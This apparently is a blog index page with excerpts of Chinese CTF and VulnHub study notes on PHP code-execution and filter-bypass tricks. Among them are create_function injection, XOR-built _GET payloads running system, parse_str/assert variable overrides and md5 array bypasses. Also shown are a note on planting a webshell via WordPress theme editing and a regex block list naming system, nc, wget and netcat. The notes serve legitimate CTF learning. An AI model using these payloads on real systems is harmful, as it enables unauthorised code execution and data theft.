[靶场笔记]第十章

return可直接执行十六进制 RT,如果放在return后面的语句是十六进制,就会先转换成可执行命令(maybe) 函数可运算 比如1-phpinfo()-1这种语法其实是允许的,返回的内容因为函数本身返回值是1,所以结果是-1。并且phpinfo()可被执行 create_function()创建匿名函数 流程如下 但是可能看起来比较不好懂,再来看下面这个 create_function()会创建一个匿名函数(lambda样式) create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。 因此create_function函数等价于 <?php function lambda1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?> 下面来看一个例子([NISACTF 2022]level-up) <?php error_reporting(0); include "str.php"; $a = $_GET['a']; $b = $_GET['b']; if(preg_match('/^[a-z0-9_]*$/isD',$a)){ show_source(__FILE__); } else{ $a('',$b); } 构造payload的时候,注意正则匹配 preg_match('/^[a-z0-9_]*$/isD',$a,说明我们在构造payload的时候第一个字母不能为数字或者字母,所以我们需要绕过正则,这里要用\(转义符绕过,构造payload: ?a=\create_function&b=return 'Leaf';}phpinfo();/* 解释一下上面的payload: \的作用是绕过正则匹配preg_match,第一个;是让return 语句结束(其实也可以不用谢这句return,直接写后面的花括号),}的作用是让create_function语句闭合,然后执行phpinfo();后面要加/*是为了让最后的}被注释掉来保证phpinfo()正常执行 中文变量名 对于下面这样的过滤如果束手无策 if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)) 就可以考虑用中文名来命名变量。(可能你会觉得这很不可思议,但在php里确实是允许的) payload如下 $哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* 其中,"{{{"^"?<>/";的结果是_GET tee 这个命令类似echo ... >,可以把...的内容写入到对应文本中。一般是配合管道使用,例如ls / |tee 1,作用就是把ls列出来的内容存入到1这个文件里。如果在进行网站敏感信息读取,访问1就能下载这个文件 php的类函数调用 php的类使用其实类似C++,比如ctf类中有个getflag函数,配合 call_user_func()或者eval()可以直接用 shell盲注 和SQL盲注类似,[awk](https://www.runoob.com/linux/linux-comm-awk.html)命令可以截取字符串,[cut](https://www.runoob.com/linux/linux-comm-cut.html)命令可以截取单个字符输出。结合shell编程里的if和sleep等命令就能判断正误。例如下面这样 ...

October 25, 2023 · 1 min · Red

[VulnHub]第三章

本章靶场:Prime: 1 FUZZ 用来用去感觉还是wfuzz好用,参数简洁明了。这个靶机下用到参数有下面这些 wpscan wpscan的-e参数,可以用来枚举用户名 wordpress修改主题文件 一个意料之外又情理之中的功能,可以用来写一句话木马 防御办法:wp禁止主题编辑操作,通过在wp-config.php中,把define(‘DISALLOW_FILE_EDIT’,true) MSF提权漏洞搜索 在拿到普通用户后,在msf中尝试searchsploit指令,后面加上系统的版本信息,就能找到提权漏洞的exp,编译后上传,再运行即可

October 24, 2023 · 1 min · Red

[靶场笔记]第九章

trim() 这个函数可以过滤掉一些特殊符号,但是换页符\f不过滤。这个方法对is_numeric也有效 带 . 的变量名 php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换 先看看下面这个变量的传入 isset($_POST['CTF_SHOW.COM']) 这个变量如果按正常逻辑,应该传入CTF_SHOW.COM=1,但根据这个特性,就只能传入CTF[SHOW.COM= 自己构建传值方法 先看代码 include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\|\/|~|`|!|\@|#|\%|\^|*|-|+|=|{|}|\"|\'|\,|.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } 这里介绍一种很特别的方法 highlight_file熟悉吧?但是这里没法传入flag,怎么办?看下面的payload就知道了 GET:?shell=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell]) $_SERVER $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。更多信息可以参考这里 上面那道题的代码可以通过下面payload绕过。 意思就是通过$_SERVER[‘argv’]将$a变成数组,利用数组这个“障眼法”,在eval处执行parse_str将fl0g=flag_give_me变成一条命令(变量),同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。 GET:?a=1+fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 或者 GET:?$fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) $_SERVER[‘QUERY_STRING’] ‘QUERY_STRING’ 这一参数的作用是接收所有get数据。更多类似参数可以看这里 _() _()是一个函数 _()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars() get_defined_vars 函数返回由所有已定义变量所组成的数组 这样可以获得 $flag stripos() 这个函数存在路径穿越漏洞,可以使用../..返回上级目录 正则表达式溢出 在php中正则表达式进行匹配有一定的限制,超过限制直接返回false 例如,在preg_replace函数的匹配规则种,被匹配的参数只要够大(25万个very就行),就能让这个函数强行输出false 变量覆盖绕过 先来看这段代码 if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); }} 很明显是要我们读取flag.php的内容,但是F被substr过滤处理,所以需要一点特殊的方法来绕过 这里就直接放payload,可以使sleep被执行(这里的sleep是shell的sleep,不是php) 为什么这句payload可以被执行呢?首先,substr把 ...

September 19, 2023 · 1 min · Red

[靶场笔记]第八章

tab绕过 非常少见的一种绕过形式,看标题就知道怎么操作了吧,想必就不用多介绍了 变量覆盖 先来看看下面这题 include('flag.php');error_reporting(0);$error='你还想要flag嘛?';$suces='既然你想要那给你吧!';foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value;}foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value;}if(!($_POST['flag']==$flag)){ die($error);}echo "your are good".$flag."\n";die($suces); 想拿到flag的方法无非就是利用die($error)和die($suces)这两个函数 先上分别利用到这两个函数的payload 方法一: POST:error=a GET:a=flag 方法二 GET:a=flag&flag= 方法一利用的是一次POST判断和一次GET判断,达到第三变量a传值的目的 而方法二则是利用两次GET传值进行变量覆盖,并且绕过了下面的if(!($_POST['flag']==$flag)) md5无法解析数组 RT,返回值均为null parse_str() 把查询字符串解析到变量中。使用参考如下 传值的艺术 发现了一个十分微妙的地方,先来看看题目 <?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); ​ if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } ​ } ?> 这里有两种方法可以拿到flag,第一种是通过md5匹配,另一种是通过md5处理数组返回均为null这个特点,结合弱比较来进行 但当我在传值的时候发现了一个有趣的现象,直接看下面这些结果你就能看出端倪 #有flag v1=flag=0cc175b9c0f1b6a831c399e269772661 v3=a #无flag v1="flag=0cc175b9c0f1b6a831c399e269772661" v3=a #有flag v1="flag=0" v3[]=1 #无flag v1=flag=0 v3[]=1 根据后两条有无flag的结果,结合弱比较表可以推断,有加双引号的一组将flag值赋值为了数字型的0,而每加的赋值为了字符型的0 ...

August 28, 2023 · 1 min · Red

[靶场笔记]第七章

intval函数 用于获取变量的整数值(将其他进制转换成10进制输出) 数组绕过 来看看下面这段代码 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 绕过方法很简单,把num变成数组就行,即num[]=1 +号利用 碰到一道比较巧妙的绕过题,先看代码 include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; }} 可以看到要想拿到flag,就得使用转换结果为4476的num值 但是显然8与16进制无法直接使用。怎么办呢?仔细观察if(!strpos($num, "0")),可以看这句用来阻止8进制使用的判断其实原理是判断第一位是不是0。怎么办呢?看到这里你应该也猜到了,利用+在url中代表空格的特点,最后的payload是num=+010574 ./绕过 同样也是一道很有意思的绕过题 if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } } 虽然没法直接读取flag.php,但只要在前面加个./就能混淆视听 md5()函数空值 在题目中碰到md5函数第一反应不应该是去撞库(要是实在没办法也不是不行),而是想办法让其成为0或空值。来看看下面代码 if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; } 当md5函数参数为数组的时候会发生错误,并返回NULL。可以利用这点进行构造payload a[]=1&b[]=2 ...

August 10, 2023 · 1 min · Red